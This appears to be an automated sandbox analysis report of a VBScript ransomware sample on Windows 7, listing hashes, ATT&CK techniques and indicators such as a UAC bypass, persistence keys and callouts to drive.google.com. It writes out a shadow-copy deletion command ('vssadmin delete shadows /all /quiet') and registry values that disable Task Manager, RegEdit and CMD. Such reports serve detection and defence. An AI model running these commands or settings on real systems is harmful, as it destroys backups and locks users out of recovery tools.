c37651558d3b87df699354c3d54af3a6958ab7f9a4810387e5fbea1e58bf20cf

Analysis

max time kernel
59s
max time network
88s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
24-10-2024 09:20

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

Ransom.Win32.LCrypt0rX.A/LCrypt0rX with shutdown.vbs
Size

19KB
MD5

8aa664ce58b37ea055c57137b311de72
SHA1

24296c2aa2aa9529db935e39b982c4d60d626ac7
SHA256

560b7919733ca8a891743eae7080224114aa1d376f9f11c734c86cc119e8ac9f
SHA512

132f8358848a23d046e5ad042eec110fbfb2f9baa296c92529be6fe9325ae53661c61cb0555feb4aade4f953bac20db671fafed1bd214f05a6076aca8e258ba5
SSDEEP

384:tDqbplStxYHQHSH7l+iijqF2ZNvz1wj9byX+Ek8:lkMK2N+ED

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	2848	wscript.exe
5	2848	wscript.exe
8	2848	wscript.exe

Blocks application from running via registry modification 3 IoCs

Adds application to list of disallowed applications.

evasion

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "msconfig.exe"	wscript.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	wscript.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyStartupScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Ransom.Win32.LCrypt0rX.A\\LCrypt0rX with shutdown.vbs"	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iamthedoom = "C:\\Windows\\System32\\iamthedoom.bat"	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SpamScript = "C:\\Windows\\System32\\haha.vbs"	wscript.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wscript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\haha.vbs	wscript.exe
File created	C:\Windows\System32\wins32bugfix.vbs	wscript.exe
File opened for modification	C:\Windows\System32\wins32bugfix.vbs	wscript.exe
File created	C:\Windows\System32\iamthedoom.bat	wscript.exe
File opened for modification	C:\Windows\System32\iamthedoom.bat	wscript.exe
File created	C:\Windows\System32\haha.vbs	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\gcrybground.png"	wscript.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2952	vssadmin.exe

Kills process with taskkill 15 IoCs

evasion

pid	Process
1496	taskkill.exe
3444	taskkill.exe
940	taskkill.exe
3876	taskkill.exe
3724	taskkill.exe
3432	taskkill.exe
2892	taskkill.exe
3384	taskkill.exe
3864	taskkill.exe
1412	taskkill.exe
288	taskkill.exe
2792	taskkill.exe
2480	taskkill.exe
3296	taskkill.exe
1040	taskkill.exe

Modifies Control Panel 2 IoCs

evasion

description	ioc	Process
Key created	\REGISTRY\MACHINE\Control Panel\Mouse	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Control Panel\Desktop	wscript.exe

Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\PhishingFilter	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = 70cfa22ef625db01	iexplore.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{5763D2B1-91E9-11EF-A723-5ADFF6BE2048} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{584B15D1-91E9-11EF-A723-5ADFF6BE2048} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2708	notepad.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeBackupPrivilege	2160	vssvc.exe
Token: SeRestorePrivilege	2160	vssvc.exe
Token: SeAuditPrivilege	2160	vssvc.exe
Token: SeDebugPrivilege	1496	taskkill.exe
Token: SeDebugPrivilege	2892	taskkill.exe
Token: SeShutdownPrivilege	3480	shutdown.exe
Token: SeRemoteShutdownPrivilege	3480	shutdown.exe
Token: SeDebugPrivilege	3384	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1752	iexplore.exe
1752	iexplore.exe
2492	iexplore.exe
2492	iexplore.exe
812	iexplore.exe
812	iexplore.exe
1312	iexplore.exe
1312	iexplore.exe
1752	iexplore.exe
1752	iexplore.exe
1752	iexplore.exe
1752	iexplore.exe
2932	iexplore.exe
2932	iexplore.exe
1752	iexplore.exe
2492	iexplore.exe
1752	iexplore.exe
2492	iexplore.exe
2492	iexplore.exe
2492	iexplore.exe
1716	iexplore.exe
1716	iexplore.exe
2288	iexplore.exe
2288	iexplore.exe
2492	iexplore.exe
2492	iexplore.exe
812	iexplore.exe
812	iexplore.exe
812	iexplore.exe
812	iexplore.exe
812	iexplore.exe
812	iexplore.exe
1312	iexplore.exe
1312	iexplore.exe
1312	iexplore.exe
1312	iexplore.exe
2288	iexplore.exe
2288	iexplore.exe
2288	iexplore.exe
2288	iexplore.exe
1312	iexplore.exe
1312	iexplore.exe
2288	iexplore.exe
2288	iexplore.exe
2932	iexplore.exe
2932	iexplore.exe
2932	iexplore.exe
2932	iexplore.exe
1716	iexplore.exe
1716	iexplore.exe
1716	iexplore.exe
1716	iexplore.exe
2932	iexplore.exe
1716	iexplore.exe
2932	iexplore.exe
1716	iexplore.exe
2288	iexplore.exe
2288	iexplore.exe
2492	iexplore.exe
1172	iexplore.exe
1172	iexplore.exe
2932	iexplore.exe
1196	iexplore.exe
1196	iexplore.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
1248	mspaint.exe
2208	mspaint.exe
2496	mspaint.exe
2244	mspaint.exe
1248	mspaint.exe
2492	iexplore.exe
2492	iexplore.exe
2244	mspaint.exe
2208	mspaint.exe
2496	mspaint.exe
812	iexplore.exe
812	iexplore.exe
2468	iexplore.exe
2468	iexplore.exe
968	iexplore.exe
968	iexplore.exe
1196	iexplore.exe
1196	iexplore.exe
580	iexplore.exe
580	iexplore.exe
2228	iexplore.exe
2228	iexplore.exe
1752	iexplore.exe
1752	iexplore.exe
2500	iexplore.exe
2500	iexplore.exe
2932	iexplore.exe
2932	iexplore.exe
2288	iexplore.exe
2288	iexplore.exe
1172	iexplore.exe
1172	iexplore.exe
1312	iexplore.exe
1312	iexplore.exe
876	iexplore.exe
2184	iexplore.exe
876	iexplore.exe
2184	iexplore.exe
1248	mspaint.exe
2244	mspaint.exe
1248	mspaint.exe
2244	mspaint.exe
1716	iexplore.exe
1716	iexplore.exe
944	iexplore.exe
944	iexplore.exe
2052	iexplore.exe
2052	iexplore.exe
2208	mspaint.exe
2208	mspaint.exe
2496	mspaint.exe
2496	mspaint.exe
3012	IEXPLORE.EXE
3012	IEXPLORE.EXE
3908	iexplore.exe
3908	iexplore.exe
2104	IEXPLORE.EXE
2104	IEXPLORE.EXE
2864	IEXPLORE.EXE
2864	IEXPLORE.EXE
3256	IEXPLORE.EXE
3256	IEXPLORE.EXE
3456	IEXPLORE.EXE
3456	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2932 wrote to memory of 2848	2932	WScript.exe	30
PID 2932 wrote to memory of 2848	2932	WScript.exe	30
PID 2932 wrote to memory of 2848	2932	WScript.exe	30
PID 2848 wrote to memory of 2960	2848	wscript.exe	31
PID 2848 wrote to memory of 2960	2848	wscript.exe	31
PID 2848 wrote to memory of 2960	2848	wscript.exe	31
PID 2960 wrote to memory of 2952	2960	cmd.exe	33
PID 2960 wrote to memory of 2952	2960	cmd.exe	33
PID 2960 wrote to memory of 2952	2960	cmd.exe	33
PID 2848 wrote to memory of 2708	2848	wscript.exe	36
PID 2848 wrote to memory of 2708	2848	wscript.exe	36
PID 2848 wrote to memory of 2708	2848	wscript.exe	36
PID 2848 wrote to memory of 2352	2848	wscript.exe	39
PID 2848 wrote to memory of 2352	2848	wscript.exe	39
PID 2848 wrote to memory of 2352	2848	wscript.exe	39
PID 2848 wrote to memory of 2600	2848	wscript.exe	40
PID 2848 wrote to memory of 2600	2848	wscript.exe	40
PID 2848 wrote to memory of 2600	2848	wscript.exe	40
PID 2848 wrote to memory of 2092	2848	wscript.exe	42
PID 2848 wrote to memory of 2092	2848	wscript.exe	42
PID 2848 wrote to memory of 2092	2848	wscript.exe	42
PID 2848 wrote to memory of 2484	2848	wscript.exe	43
PID 2848 wrote to memory of 2484	2848	wscript.exe	43
PID 2848 wrote to memory of 2484	2848	wscript.exe	43
PID 2600 wrote to memory of 1248	2600	cmd.exe	44
PID 2600 wrote to memory of 1248	2600	cmd.exe	44
PID 2600 wrote to memory of 1248	2600	cmd.exe	44
PID 2848 wrote to memory of 1496	2848	wscript.exe	45
PID 2848 wrote to memory of 1496	2848	wscript.exe	45
PID 2848 wrote to memory of 1496	2848	wscript.exe	45
PID 2600 wrote to memory of 2492	2600	cmd.exe	47
PID 2600 wrote to memory of 2492	2600	cmd.exe	47
PID 2600 wrote to memory of 2492	2600	cmd.exe	47
PID 2600 wrote to memory of 2468	2600	cmd.exe	48
PID 2600 wrote to memory of 2468	2600	cmd.exe	48
PID 2600 wrote to memory of 2468	2600	cmd.exe	48
PID 2600 wrote to memory of 1936	2600	cmd.exe	49
PID 2600 wrote to memory of 1936	2600	cmd.exe	49
PID 2600 wrote to memory of 1936	2600	cmd.exe	49
PID 2600 wrote to memory of 1196	2600	cmd.exe	50
PID 2600 wrote to memory of 1196	2600	cmd.exe	50
PID 2600 wrote to memory of 1196	2600	cmd.exe	50
PID 2600 wrote to memory of 812	2600	cmd.exe	51
PID 2600 wrote to memory of 812	2600	cmd.exe	51
PID 2600 wrote to memory of 812	2600	cmd.exe	51
PID 2600 wrote to memory of 580	2600	cmd.exe	52
PID 2600 wrote to memory of 580	2600	cmd.exe	52
PID 2600 wrote to memory of 580	2600	cmd.exe	52
PID 2600 wrote to memory of 2208	2600	cmd.exe	53
PID 2600 wrote to memory of 2208	2600	cmd.exe	53
PID 2600 wrote to memory of 2208	2600	cmd.exe	53
PID 2092 wrote to memory of 1592	2092	wscript.exe	54
PID 2092 wrote to memory of 1592	2092	wscript.exe	54
PID 2092 wrote to memory of 1592	2092	wscript.exe	54
PID 2600 wrote to memory of 2932	2600	cmd.exe	55
PID 2600 wrote to memory of 2932	2600	cmd.exe	55
PID 2600 wrote to memory of 2932	2600	cmd.exe	55
PID 2600 wrote to memory of 968	2600	cmd.exe	56
PID 2600 wrote to memory of 968	2600	cmd.exe	56
PID 2600 wrote to memory of 968	2600	cmd.exe	56
PID 2600 wrote to memory of 2588	2600	cmd.exe	57
PID 2600 wrote to memory of 2588	2600	cmd.exe	57
PID 2600 wrote to memory of 2588	2600	cmd.exe	57
PID 2484 wrote to memory of 2892	2484	wscript.exe	58

System policy modification 1 TTPs 16 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	wscript.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\InactivityTimeoutSecs = "0"	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\TaskMgrMessage = "Task Manager has been disabled by your administrator."	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "1"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "msconfig.exe"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableCMD = "1"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ransom.Win32.LCrypt0rX.A\LCrypt0rX with shutdown.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2932
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Ransom.Win32.LCrypt0rX.A\LCrypt0rX with shutdown.vbs" /elevated
  2⤵
  - UAC bypass
  - Blocklisted process makes network request
  - Blocks application from running via registry modification
  - Disables RegEdit via registry modification
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2848
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Windows\system32\vssadmin.exe
